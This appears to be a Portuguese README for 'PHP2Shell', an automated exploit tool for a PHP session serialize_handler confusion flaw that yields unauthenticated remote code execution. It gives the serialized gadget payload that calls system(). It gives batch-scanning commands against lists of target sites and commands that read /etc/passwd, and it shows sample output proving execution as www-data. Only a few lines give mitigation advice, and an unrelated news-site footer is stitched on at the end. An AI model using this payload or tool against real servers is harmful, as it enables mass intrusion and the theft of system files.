CVE-2026-109618 / CVE-2026-109619 — Session serialize_handler confusion via session.upload_progress yields unauthenticated RCE
O PHP2Shell é um exploit automático para uma vulnerabilidade de Remote Code Execution (RCE) que afeta servidores PHP que utilizam a configuração `session.upload_progress` com diferentes `serialize_handler` em caminhos distintos.
A ferramenta descobre automaticamente os diretórios vulneráveis, executa a cadeia de exploração e cria um arquivo de prova no servidor — tudo com um único comando.
PHP permite configurar diferentes `session.serialize_handler` para diferentes diretórios:
`/seed/` `php_serialize` Grava objeto serializado
`/app/` `php` (default) Desserializa e executa
Body: PHP_SESSION_UPLOAD_PROGRESS = |O:6:"Logger":1:{s:3:"cmd";s:2:"id";}
O handler `php_serialize` grava o valor verbatim em `sess_`, incluindo o `|` e o objeto serializado.
O handler `php` divide no primeiro `|`, desserializa o objeto e executa `__destruct()`, que chama `system($cmd)`.
Fase 1: `php_serialize` não entende a sintaxe `|O:...`, então grava tudo como string
Fase 2: `php` divide em `|`, tenta desserializar `O:...`, mas os bytes seguintes (do upload original) falham no decode
Resultado: PHP destrói o objeto parcialmente construído → `__destruct()` é chamado → RCE
Apenas informe o site — o exploit descobre os caminhos sozinho:
Lê uma lista de alvos de arquivo `.txt` e salva resultados em CSV:
python3 php2shell_rce.py --targets sites.txt --output resultados.csv
Formato do arquivo de sites (`sites.txt`):
Se você já sabe os diretórios vulneráveis:
python3 php2shell_rce.py --seed-path /upload/ --trigger-path /app/
Modo Restrito (Apenas o Caminho Informado)
Testa somente o caminho informado, sem varrer o host:
python3 php2shell_rce.py --strict-path
python3 php2shell_rce.py --cmd 'cat /etc/passwd'
`site` Alvo único (ex: `
`--targets, -t` Arquivo com lista de sites (um por linha)
`--output, -o` Arquivo CSV para salvar resultados
`--seed-path` Caminho do diretório `php_serialize` (modo manual)
`--trigger-path` Caminho do diretório `php` (modo manual)
`--cmd` Comando a executar no servidor (default: cria demo.txt)
`--gadget` Classe gadget (default: `Logger`)
`--prop` Propriedade com o comando (default: `cmd`)
`--field` Nome do campo de progresso (default: `PHP_SESSION_UPLOAD_PROGRESS`)
`--timeout` Timeout em segundos (default: 20.0)
`--delay` Delay entre alvos em modo lote (default: 0.5s)
`--strict-path` Testa apenas o caminho informado (não varre o host)
`--verbose, -v` Mostra cada tentativa de exploração
`--quiet, -q` Apenas resultados no CSV (sem output no terminal)
O arquivo de saída contém as seguintes colunas:
`seed_path` Caminho usado como seed (php_serialize)
`trigger_path` Caminho usado como trigger (php)
`uid` UID do usuário que executou o comando
`demo_files` Arquivos criados no servidor
`output` Saída do comando (truncada para 500 bytes)
target,status,seed_path,trigger_path,seed_url,trigger_url,uid,user,gid,groups,demo_files,timestamp,output,error
/var/tmp/pwned_php2shell.txt,2026-10-22 12:37:20,"== pwd: /var/www/php2shell/app
ls: cannot access '/var/www/php2shell/app/pwned_php2shell.txt': No such file or directory
-rw-r--r-- 1 www-data www-data 88 Oct 22 12:37 /tmp/pwned_php2shell.txt
-rw-r--r-- 1 www-data www-data 88 Oct 22 12:37 /var/tmp/pwned_php2shell.txt
uid=33(www-data) gid=33(www-data) groups=33(www-data)
12:37:20,,No working seed/trigger pair found
Nenhuma dependência externa (usa apenas bibliotecas padrão)
├── php2shell_rce.py # Exploit principal
├── README_EXPLOIT.md # Este arquivo
├── sites_sample.txt # Exemplo de lista de alvos
├── resultados.csv # Resultados da execução
└── resultados_finais.csv # Resultados consolidados de validação
┌─────────────────────────────────────────────────────────────┐
│ PHP2Shell Exploit │
├─────────────────────────────────────────────────────────────┤
│ 1. Recebe alvo(s) │
│ ├─ Site único: │
│ └─ Lista de sites: --targets sites.txt │
│ │
│ 2. Pré-sonda caminhos │
│ ├─ Testa COMMON_PATHS (/app/, /upload/, /seed/, etc.) │
│ ├─ Filtra caminhos que respondem (200, 302, 401, 403) │
│ └─ Monta pares (seed, trigger) para testar │
│ │
│ 3. Executa cadeia RCE │
│ ├─ Fase 1 (POST): envia payload serializado │
│ │ └─ PHP_SESSION_UPLOAD_PROGRESS = |O:... │
│ ├─ Fase 2 (GET): força desserialização │
│ │ └─ Cookie: PHPSESSID= │
│ └─ Verifica resposta por marcador │
│ │
│ 4. Extrai informações │
│ ├─ UID, user, GID, groups do comando 'id' │
│ ├─ Caminhos dos arquivos demo criados │
│ └─ Output completo do comando │
│ │
│ 5. Salva resultados │
│ └─ CSV com todas as informações │
└─────────────────────────────────────────────────────────────┘
____ _ ____ _ _ _ _ _
/ ___|(_) __ _ / ___|| | | | | _____(_) | ___
| | _| | |/ _` |\___ \| |_| | |/ / _ \ | |/ _ \
| |_| | | | (_| | ___) | _ | < __/ | | (_) |
\____|_|_|\__,_|____/ |_| |_|_|\_\___|_|_|\___/
PHP2Shell RCE Exploit (CVE-2026-109618/109619)
============================================================
============================================================
seed (php_serialize):
trigger (php) :
usuario=www-data (uid=33) arquivos=/tmp/pwned_php2shell.txt; /var/tmp/pwned_php2shell.txt
python3 php2shell_rce.py --targets targets.txt --output resultados.csv --delay 0.5 -v
python3 php2shell_rce.py --cmd 'whoami && hostname && cat /etc/passwd'
Mostra cada tentativa de par (seed, trigger) testado.
Use um único `serialize_handler` para todos os diretórios de sessão
Desabilite `session.upload_progress` se não for necessário
Valide e sanitize todos os inputs de sessão
Use `session.save_path` isolado por aplicação
php_value session.upload_progress.cleanup On
O Apache geralmente roda como `www-data` (Debian/Ubuntu) ou `apache` (RHEL/CentOS). O exploit executa comandos com o mesmo usuário do processo do servidor web.
Em sistemas modernos com `systemd PrivateTmp=true`, o `/tmp` do Apache é um namespace privado. Isso significa que:
O arquivo criado pelo RCE fica em `/tmp/systemd-private-*/tmp/`
O shell do usuário não vê o arquivo em `/tmp/` diretamente
Isso confirma que a execução ocorreu genuinamente no processo do Apache
`127.0.0.1:8091` e ` → testados uma vez
Os caminhos de seed/trigger estão diferentes dos esperados
Use `--verbose` para ver quais pares foram testados
Use `--seed-path` e `--trigger-path` se souber os caminhos
Aumente `--timeout` se o servidor for lento
Solução: Verifique se o alvo está acessível com `curl` ou `nmap`.
Solução: O CSV é gravado incrementalmente — os resultados já processados estão salvos.
Descoberta: Confusão de `session.serialize_handler` via `session.upload_progress`
[x] Modo automático (descobre caminhos sozinho)
[x] Modo restrito (apenas caminho informado)
[x] Gravação incremental (não perde progresso)
[x] Exit code apropriado (0 = sucesso, 1 = falha)
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
